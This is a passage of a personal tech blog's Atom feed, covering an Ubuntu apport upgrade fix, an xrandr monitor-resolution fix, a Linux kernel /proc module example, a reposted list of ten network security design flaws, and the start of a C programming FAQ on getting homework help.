LemonPos'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-8606632144197445737</id><published>2011-03-30T21:24:00.000-07:00</published><updated>2011-03-30T21:31:42.112-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Fix apport problem when upgrade Ubuntu"/><title type='text'>Fix apport problem when upgrade Ubuntu</title><content type='html'>May be meet this report like :&lt;br /&gt;&lt;blockquote&gt;Errors were encountered while processing:&lt;br /&gt; apport&lt;br /&gt; cups&lt;br /&gt; apport-gtk&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;To fix this problem:&lt;br /&gt;&lt;blockquote&gt;sudo update-rc.d -f apport remove&lt;br /&gt;sudo gedit /etc/init.d/apport&lt;br /&gt; - Add &quot;exit 0&quot; right after script declarations... turns out to be line 17 or 18.&lt;br /&gt;sudo apt-get update&lt;br /&gt;sudo apt-get --reinstall install apport&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/8606632144197445737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/8606632144197445737' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/8606632144197445737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/8606632144197445737'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/03/fix-apport-problem-when-upgrade-ubuntu.html' title='Fix apport problem when upgrade Ubuntu'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-8955453117265374033</id><published>2011-03-09T18:03:00.000-08:00</published><updated>2011-03-09T18:23:48.074-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Solve &quot;Monitor is unkown and messed up&quot; problems"/><title type='text'>Solve &quot;Monitor is unkown and messed up&quot; problems</title><content type='html'>&lt;span style=&quot;font-weight:bold;&quot;&gt;Signs :&lt;/span&gt; messed up monitorresolution and &quot;Unknown monitor&quot; messages when open &quot;Monitor Preferences&quot;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Fix :&lt;/span&gt; &lt;br /&gt; - Use &lt;span style=&quot;font-style:italic;&quot;&gt;cvt 1280 1024 60&lt;/span&gt; command to generate modeline configuration for &lt;span style=&quot;font-style:italic;&quot;&gt;xrandr&lt;/span&gt; command after&lt;br /&gt; The results looks like :&lt;br /&gt;&lt;blockquote&gt;# 1280x1024 59.89 Hz (CVT 1.31M4) hsync: 63.67 kHz; pclk: 109.00 MHz&lt;br /&gt;Modeline &quot;1280x1024_60.00&quot;  109.00  1280 1368 1496 1712  1024 1027 1034 1063 -hsync +vsync&lt;/blockquote&gt;&lt;br /&gt;Copy everything on the second line after “Modeline ” and then add that as a new mode :&lt;br /&gt;&lt;blockquote&gt;xrandr --newmode &quot;1280x1024_60.00&quot;  109.00  1280 1368 1496 1712  1024 1027 1034 1063 -hsync +vsync&quot;&lt;/blockquote&gt;&lt;br /&gt;then add mode to proper monitor:&lt;br /&gt;&lt;blockquote&gt;xrandr —addmode VGA1 “1280x1024_60.00”&lt;/blockquote&gt;&lt;br /&gt;With VGA1 is VGA port (can replace with &quot;default&quot;)&lt;br /&gt;Now, open &quot;Monitor Preferences&quot; to change resolutions</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/8955453117265374033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/8955453117265374033' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/8955453117265374033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/8955453117265374033'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/03/solve-monitor-is-unkown-and-messed-up.html' title='Solve &quot;Monitor is unkown and messed up&quot; problems'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-1224401933695555666</id><published>2010-08-29T08:32:00.000-07:00</published><updated>2010-08-29T09:57:05.231-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="The difference of copy_to_user/copy_from_user and put_user/get_user"/><title type='text'>The difference of copy_to_user/copy_from_user and put_user/get_user</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;   style=&quot;  ;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:14px;&quot;&gt;&lt;p style=&quot;font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; &quot;&gt;There is a little difference with read, data comes from user, so you have to import data from user space to kernel space (with &lt;tt class=&quot;FUNCTION&quot;&gt;copy_from_user&lt;/tt&gt; or &lt;tt class=&quot;FUNCTION&quot;&gt;get_user&lt;/tt&gt;)&lt;/p&gt;&lt;p style=&quot;font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; &quot;&gt;The reason for &lt;tt class=&quot;FUNCTION&quot;&gt;copy_from_user&lt;/tt&gt; or &lt;tt class=&quot;FUNCTION&quot;&gt;get_user&lt;/tt&gt; is that Linux memory (on Intel architecture, it may be different under some other processors) is segmented. This means that a pointer, by itself, does not reference a unique location in memory, only a location in a memory segment, and you need to know which memory segment it is to be able to use it. There is one memory segment for the kernel, and one for each of the processes.&lt;/p&gt;&lt;p style=&quot;font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; &quot;&gt;The only memory segment accessible to a process is its own, so when writing regular programs to run as processes, there&#39;s no need to worry about segments. When you write a kernel module, normally you want to access the kernel memory segment, which is handled automatically by the system. However, when the content of a memory buffer needs to be passed between the currently running process and the kernel, the kernel function receives a pointer to the memory buffer which is in the process segment. The &lt;tt class=&quot;FUNCTION&quot;&gt;put_user&lt;/tt&gt; and &lt;tt class=&quot;FUNCTION&quot;&gt;get_user&lt;/tt&gt; macros allow you to access that memory. These functions handle only one caracter, you can handle several caracters with &lt;tt class=&quot;FUNCTION&quot;&gt;copy_to_user&lt;/tt&gt; and &lt;tt class=&quot;FUNCTION&quot;&gt;copy_from_user&lt;/tt&gt;. As the buffer (in read or write function) is in kernel space, for write function you need to import data because it comes from user space, but not for the read function because data is already in kernel space.&lt;/p&gt;&lt;div class=&quot;EXAMPLE&quot;&gt;&lt;a name=&quot;AEN810&quot; style=&quot;text-decoration: none; &quot;&gt;&lt;/a&gt;&lt;p style=&quot;font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; &quot;&gt;&lt;b&gt;Example. procfs2.c&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;&lt;/span&gt;&lt;table border=&quot;0&quot; bg=&quot;&quot; width=&quot;100%&quot;  style=&quot;color:#FFFFFF;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color:#FFFFFF;&quot;&gt;&lt;pre class=&quot;PROGRAMLISTING&quot;&gt;/**&lt;br /&gt;*  procfs2.c -  create a &quot;file&quot; in /proc&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;linux/module.h&gt; /* Specifically, a module */&lt;br /&gt;#include &lt;linux/kernel.h&gt; /* We&#39;re doing kernel work */&lt;br /&gt;#include &lt;linux/proc_fs.h&gt; /* Necessary because we use the proc fs */&lt;br /&gt;#include &lt;asm/uaccess.h&gt; /* for copy_from_user */&lt;br /&gt;&lt;br /&gt;#define PROCFS_MAX_SIZE  1024&lt;br /&gt;#define PROCFS_NAME   &quot;buffer1k&quot;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* This structure hold information about the /proc file&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;static struct proc_dir_entry *Our_Proc_File;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* The buffer used to store character for this module&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;static char procfs_buffer[PROCFS_MAX_SIZE];&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* The size of the buffer&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;static unsigned long procfs_buffer_size = 0;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* This function is called then the /proc file is read&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;int&lt;br /&gt;procfile_read(char *buffer,&lt;br /&gt;      char **buffer_location,&lt;br /&gt;      off_t offset, int buffer_length, int *eof, void *data)&lt;br /&gt;{&lt;br /&gt;int ret;&lt;br /&gt;&lt;br /&gt;printk(KERN_INFO &quot;procfile_read (/proc/%s) called\n&quot;, PROCFS_NAME);&lt;br /&gt;&lt;br /&gt;if (offset &gt; 0) {&lt;br /&gt; /* we have finished to read, return 0 */&lt;br /&gt; ret  = 0;&lt;br /&gt;} else {&lt;br /&gt; /* fill the buffer, return the buffer size */&lt;br /&gt; memcpy(buffer, procfs_buffer, procfs_buffer_size);&lt;br /&gt; ret = procfs_buffer_size;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return ret;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* This function is called with the /proc file is written&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;int procfile_write(struct file *file, const char *buffer, unsigned long count,&lt;br /&gt;    void *data)&lt;br /&gt;{&lt;br /&gt;/* get buffer size */&lt;br /&gt;procfs_buffer_size = count;&lt;br /&gt;if (procfs_buffer_size &gt; PROCFS_MAX_SIZE ) {&lt;br /&gt; procfs_buffer_size = PROCFS_MAX_SIZE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* write data to the buffer */&lt;br /&gt;if ( copy_from_user(procfs_buffer, buffer, procfs_buffer_size) ) {&lt;br /&gt; return -EFAULT;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return procfs_buffer_size;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;*This function is called when the module is loaded&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;int init_module()&lt;br /&gt;{&lt;br /&gt;/* create the /proc file */&lt;br /&gt;Our_Proc_File = create_proc_entry(PROCFS_NAME, 0644, NULL);&lt;br /&gt;&lt;br /&gt;if (Our_Proc_File == NULL) {&lt;br /&gt; remove_proc_entry(PROCFS_NAME, &amp;amp;proc_root);&lt;br /&gt; printk(KERN_ALERT &quot;Error: Could not initialize /proc/%s\n&quot;,&lt;br /&gt;  PROCFS_NAME);&lt;br /&gt; return -ENOMEM;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Our_Proc_File-&gt;read_proc  = procfile_read;&lt;br /&gt;Our_Proc_File-&gt;write_proc = procfile_write;&lt;br /&gt;Our_Proc_File-&gt;owner    = THIS_MODULE;&lt;br /&gt;Our_Proc_File-&gt;mode    = S_IFREG | S_IRUGO;&lt;br /&gt;Our_Proc_File-&gt;uid    = 0;&lt;br /&gt;Our_Proc_File-&gt;gid    = 0;&lt;br /&gt;Our_Proc_File-&gt;size    = 37;&lt;br /&gt;&lt;br /&gt;printk(KERN_INFO &quot;/proc/%s created\n&quot;, PROCFS_NAME);&lt;br /&gt;return 0; /* everything is ok */&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;*This function is called when the module is unloaded&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;void cleanup_module()&lt;br /&gt;{&lt;br /&gt;remove_proc_entry(PROCFS_NAME, &amp;amp;proc_root);&lt;br /&gt;printk(KERN_INFO &quot;/proc/%s removed\n&quot;, PROCFS_NAME);&lt;br /&gt;}&lt;/asm/uaccess.h&gt;&lt;/linux/proc_fs.h&gt;&lt;/linux/kernel.h&gt;&lt;/linux/module.h&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/1224401933695555666/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/1224401933695555666' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/1224401933695555666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/1224401933695555666'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2010/08/difference-of-copytousercopyfromuser.html' title='The difference of copy_to_user/copy_from_user and put_user/get_user'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-4758283825762100959</id><published>2010-01-23T12:35:00.000-08:00</published><updated>2010-01-23T12:37:13.492-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="10 common network security design flaws"/><title type='text'>10 common network security design flaws</title><content type='html'>&lt;strong&gt;Date&lt;/strong&gt;: October 23rd, 2009&lt;br /&gt;&lt;strong&gt;Author&lt;/strong&gt;: Brien Posey&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;Solid planning and design can help reduce the potential for security breaches. Here are some security design missteps to watch out for.&lt;/em&gt;&lt;/p&gt; &lt;hr size=&quot;2&quot;&gt;Network security is arguably one of the most critical functions of IT - yet I frequently see organizations that have overlooked easily implemented security design practices. Here are a few common mistakes that could compromise your network defenses and put company assets at risk.&lt;h2&gt;1: Set it and forget it&lt;/h2&gt; &lt;p&gt;The first flaw I want to talk about is more a planning flaw than a design flaw. It involves what I like to think of as the “set it and forget it” mentality. This is what happens when organizations work hard to secure their networks without stopping to reevaluate their security plans again. The threats to security are constantly evolving, and your security architecture must evolve too. The best way to accomplish this is to reevaluate your security needs on a regular basis.&lt;/p&gt; &lt;h2&gt;2: Opening more firewall ports than necessary&lt;/h2&gt; &lt;p&gt;We all know that opening an excessive number of firewall ports is bad, but sometimes opening ports is unavoidable. For instance, take Microsoft Office Communications Server 2007 R2. If you are planning on providing external access, about a dozen ports must be opened. In addition, OCS 2007 R2 assigns a wide range of ports dynamically. So what’s a security administrator to do?&lt;/p&gt; &lt;p&gt;One of the best solutions is to make use of a reverse proxy (such as Microsoft’s ForeFront Threat Management Gateway). A reverse proxy sits between the Internet and the server that requires the various ports to be opened. While there is no getting around the need for open ports, a reverse proxy can intercept and filter requests and then pass them on to the server they’re intended for. This helps hide the server from the outside world and helps ensure that malicious requests do not reach the server.&lt;/p&gt; &lt;h2&gt;3: Pulling double duty&lt;/h2&gt; &lt;p&gt;With the economy in shambles, there is increasing pressure to make the most of existing server resources. So it might be tempting to host multiple applications or multiple application roles on a single server. While this practice is not necessarily bad, there’s a law of computing that states that as the size of the code base increases, so does the chance that an exploitable vulnerability exists.&lt;/p&gt; &lt;p&gt;It isn’t always practical to dedicate a server to each of your applications, but you should at least be careful about which applications or application roles are hosted on a single server. For example, at a minimum, an Exchange 2007 organization requires three server roles (hub transport, client access, and mailbox server). While you can host all three roles on a single server, you should avoid doing so if you are going to be providing Outlook Web Access to external users. The Client Access Server role makes use of IIS to host Outlook Web Access. Therefore, if you place the client access server role on the same server as your hub transport and mailbox server roles, you are essentially exposing your mailbox database to the Internet.&lt;/p&gt; &lt;h2&gt;4: Ignoring network workstations&lt;/h2&gt; &lt;p&gt;About a year ago, someone asked me during a radio interview what I thought was the single biggest threat to network security. My answer was, and still is, that workstations make up the single largest threat. I constantly see organizations that go to great lengths to secure their network servers but practically neglect their workstations. Unless workstations are locked down properly, users (or malicious Web sites) can install unauthorized software with untold consequences.&lt;/p&gt; &lt;h2&gt;5: Failing to use SSL encryption where it counts&lt;/h2&gt; &lt;p&gt;We all know that a Web site needs to use SSL encryption any time a user is going to be entering sensitive information, such as a username and password or a credit card number. However, many organizations make some bad decisions when it comes to securing their Web portals. The security flaw I see most often is including insecure content on a secure page. When this happens, users receive a prompt asking if they want to display both secure and insecure content. This gets users in the habit of giving Internet Explorer permission to provide insecure content.&lt;/p&gt; &lt;p&gt;A less obvious but even more common problem is that organizations often fail to encrypt critical pages within their Web sites. In my opinion, any page that provides security information, security advice, or contact information should be SSL encrypted. It isn’t that these pages are especially sensitive. It’s just that the certificate used by the encryption process guarantees to users that they are accessing a legitimate Web page rather than a page someone has set up as a part of a phishing scam.&lt;/p&gt; &lt;h2&gt;6: Using self-signed certificates&lt;/h2&gt; &lt;p&gt;Since some organizations completely neglect the importance of SSL encryption, Microsoft has begun to include self-signed certificates with some of its products. That way, Web interfaces can be used with SSL encryption even if the organization hasn’t acquired its own certificate yet.&lt;/p&gt; &lt;p&gt;While self-signed certificates are better than nothing, they are not a substitute for a valid SSL certificate from a trusted certificate authority. Self-signed certificates are primarily intended to help boost a product’s security until an administrator can properly secure it. Yes, a self-signed certificate can provide SSL encryption, but users will receive warning messages in their browsers because their computers do not trust the certificate (nor should they). Furthermore, some SSL-based Web services (such as ActiveSync) are not compatible with self-signed certificates because of the trust issue.&lt;/p&gt; &lt;h2&gt;7: Excessive security logging&lt;/h2&gt; &lt;p&gt;Although it’s important to log events that occur on your network, it’s also important not to go hog wild and perform excessive logging. Too much logging can make it difficult or impossible to locate the security events you’re really interested in. Rather than trying to log everything, focus on logging the events that are really meaningful.&lt;/p&gt; &lt;h2&gt;8: Randomly grouping virtual servers&lt;/h2&gt; &lt;p&gt;Virtual servers are commonly grouped on host servers by their performance. For example, a high demand virtual server might be paired on a host with a few low demand virtual servers. From a performance standpoint, this is a good idea, but this approach may not be the best idea from a security standpoint.&lt;/p&gt; &lt;p&gt;I recommend using dedicated virtualization hosts for any Internet-facing virtual servers. In other words, if you have three virtual servers that provide services to Internet users, you might consider grouping those servers on a virtualization host, but don’t put infrastructure servers (such as domain controllers) on the host.&lt;/p&gt; &lt;p&gt;My reasoning behind this is to provide protection against an escape attack. An escape attack is one in which a hacker can escape from a virtual machine and take control of the host. To the best of my knowledge, nobody has figured out a way to perform a real-world escape attack yet, but I’m sure that day is coming. When it does, your odds of prevailing against the attack are going to be a lot higher if virtual machines that are exposed to the Internet share a virtualization host only with similarly hardened Web-facing servers.&lt;/p&gt; &lt;h2&gt;9: Placing member servers in the DMZ&lt;/h2&gt; &lt;p&gt;If you can avoid it, try not to place any member servers in your DMZ. If compromised, a member server can reveal information about your Active Directory.&lt;/p&gt; &lt;h2&gt;10: Depending on users to install updates&lt;/h2&gt; &lt;p&gt;One last common security flaw is depending on users to deploy security patches. I have seen several network deployments recently that use WSUS to patch network workstations. Unfortunately, many of these deployments rely on the users to click the option to install the latest updates. The problem with this is that the users know that the update process is going to require them to reboot their computers. Some users may end up putting off the updates indefinitely. Rather than relying on the end users, use a patch management solution that pushes security patches automatically without giving users a choice in the matter.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/4758283825762100959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/4758283825762100959' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4758283825762100959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4758283825762100959'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2010/01/10-common-network-security-design-flaws.html' title='10 common network security design flaws'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-6479495416511907523</id><published>2010-01-05T19:12:00.000-08:00</published><updated>2010-01-05T19:18:47.036-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C Programming Tips 1"/><title type='text'>C Programming Tips 1</title><content type='html'>   	&lt;meta equiv=&quot;CONTENT-TYPE&quot; content=&quot;text/html; charset=utf-8&quot;&gt; 	&lt;title&gt;&lt;/title&gt; 	&lt;meta name=&quot;GENERATOR&quot; content=&quot;OpenOffice.org 3.1  (Linux)&quot;&gt; 	&lt;style type=&quot;text/css&quot;&gt; 	&lt;!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } 		H3 { margin-bottom: 0.08in } 		H4 { margin-bottom: 0.08in } 	--&gt; 	&lt;/style&gt;  &lt;p style=&quot;font-family: arial;&quot;&gt;Here are some questions about C programming which I come across and answer very frequently on programming newsgroups. All of them can be used in C++ programs as well. You might find them helpful.&lt;/p&gt; &lt;h3 style=&quot;font-family: arial;&quot;&gt;Contents&lt;/h3&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;I need help with my homework!&lt;br /&gt;Please don&#39;t void my main()!&lt;br /&gt;What should my &quot;int main()&quot; return?&lt;br /&gt;What should I use instead of gets()?&lt;br /&gt;How do I input numbers as binary strings?&lt;br /&gt;How do I output numbers as binary strings?&lt;/blockquote&gt; &lt;hr style=&quot;font-family: arial;&quot;&gt; &lt;h3 style=&quot;font-family: arial;&quot;&gt;&lt;a name=&quot;homework&quot;&gt;&lt;/a&gt;I need help with my homework!&lt;/h3&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;If I posted a link to this page in reply to a message you posted on a programming newsgroup, it seemed to me that you were asking for someone to do your programming homework for you. Your post probably looked like one of the following:&lt;/p&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;You typed in your assignment word-for-word.  &lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;You complained that your instructor is stupid, &lt;i&gt;but your instructor is smarter than you are, he or she already knows how to write this program!&lt;/i&gt;&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;You said you have tried and tried, but get nothing but errors, but you didn&#39;t include any of your code.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;You said you do not have any idea where to start, and you didn&#39;t include any of your code.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;Your post looked like a thinly disguised attempt into fooling somebody into thinking that it is not your homework.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;You specifically asked for help, and not for someone to write the code, but you still didn&#39;t post any of the code you had written on your own. In this case, you still want to look at the suggestions below for the best way to get help.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;First let me say that I apologize if I have misjudged you and you really aren&#39;t trying to get someone to do your homework for you.  &lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;But if you are...&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;The purpose of actually writing programs in a programming class is to learn how to write them. If you don&#39;t do the work, you will be cheating yourself out of the knowledge you are going to school for.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Most regular contributors to the programming newsgroups will not just write your program for you. Some of them will write a program with deliberate and subtle errors, in the hopes that you will turn it in as your own work and get caught for cheating.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;Here are some of the replies I have posted in newsgroups to messages like yours. They are sarcastic, but don&#39;t worry, I will follow them with some suggestions on how to successfully get help with your homework.&lt;/p&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;If I did your homework for you, then you might pass your class without learning how to write a program like this. Then you might graduate and get your degree without learning how to write a program like this. You might become a professional programmer without knowing how to write a program like this. Someday you might work on a project with me without knowing how to write a program like this. Then I would have to do you serious bodily harm.&lt;/i&gt;  &lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;i&gt;Please post your instructor&#39;s email address in case I have any questions about your assignment. In fact, I have a great idea. I could just email your assignment directly to your instructor and then you wouldn&#39;t even have to go to class either!&lt;/i&gt;&lt;/blockquote&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;OK, I promised to give you advice on how to get useful help with your assignment in a programming newsgroup. The best results will come from following the steps below.&lt;/p&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;If you can&#39;t even figure out how to start, sit down with a pencil and paper and go work on the problem as a problem, not as a program. Take it one step at a time until you figure out how the actual operation needs to be done.  &lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;Try to write the program yourself. Give it your best effort, using everything you have learned so far.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;If there is one particular part of the program which you just can&#39;t get to work right, perform the following steps.&lt;/blockquote&gt; &lt;blockquote style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt; &lt;ol style=&quot;font-family: arial;&quot;&gt;&lt;li&gt;&lt;blockquote&gt;Cut your program down to the smallest possible code 	sample which compiles and displays your problem. In the process of 	doing this many people find and fix the problem on their own!&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;If your program uses non-standard functions from 	non-standard headers with names like conio.h, dos.h, or bios.h, 	remove them from the program.&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;Do not attach your executable or source code to your 	message. Just copy the source code in your text editor and paste in 	into the body of your message as plain text.  	&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;Be sure to include the exact text of important error 	or warning messages which you get when trying to build your program.&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;Include the brand and version number of the compiler 	you are using and the operating system on your computer. If your 	compiler can make more than one type of program (many PC compilers 	can make programs for MS-DOS or Windows) then specify exactly what 	type you are trying to make.&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;Do not ask for an email reply. In the first place, 	it tends to annoy the people who can help you the most. In the 	second place, programming newsgroups are read by thousands of people 	worldwide. If your question is not important enough for you to take 	the time and effort to come back to the group in a few hours or a 	day to look for answers, it is certainly not important enough for 	you to waste the time and bandwidth of all those readers by posting 	it. Finally if someone posts an incorrect answer to your problem on 	the group, others will point out the error and correct it. If you 	get an answer by email, how will you know if it is right or not?&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;Do not post your question again if you do not see 	any replies in 15 minutes or an hour. Usenet groups do not work that 	fast. It could take up to a day (or more) before you get a reply.&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;It could be that you will not get a reply at all. It 	is possible that your question is outside the range of topics 	normally discussed on the group, and none of the people who see it 	are interested enough, or familiar enough with the subject, to post 	a reply.&lt;/blockquote&gt; 	&lt;/li&gt;&lt;li&gt;&lt;blockquote&gt;This last one seems too obvious to mention, but the 	fact that I am mentioning it indicates that some people can&#39;t figure 	it out for themselves. &lt;i&gt;&lt;u&gt;&lt;b&gt;Be polite in your post, and use 	proper spelling and grammar.&lt;/b&gt;&lt;/u&gt;&lt;/i&gt; You are asking for help 	from people who know more than you, at least about the problem you 	are having. If they don&#39;t know more than you, you are wasting your 	time asking them for help! Remember that nobody is paying these 	people to help you, they do it because they want to. Politeness and 	respect will make the most knowledgeable contributors more likely to 	help you.&lt;/blockquote&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p style=&quot;font-family: arial;&quot;&gt;If you follow the advice above, and if your question is really on topic in the group you posted it too, there is a good chance that you will receive several excellent replies to help you solve your 